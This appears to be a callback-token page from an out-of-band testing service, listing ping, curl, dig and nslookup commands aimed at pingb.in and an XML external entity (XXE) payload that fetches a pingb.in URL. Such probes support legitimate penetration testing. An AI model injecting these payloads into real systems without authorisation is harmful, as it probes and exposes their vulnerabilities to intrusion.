$ ping -c1 -p 00fbfe17738cb6bab243c63cc3135c00 pingb.in
 

$ curl pingb.in/p/fbfe17738cb6bab243c63cc3135c
 

$ dig fbfe17738cb6bab243c63cc3135c @pingb.in
 

$ dig fbfe17738cb6bab243c63cc3135c.ns.pingb.in
 

C:\> nslookup fbfe17738cb6bab243c63cc3135c pingb.in
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/fbfe17738cb6bab243c63cc3135c">]>
    <foo>&xxe;</foo>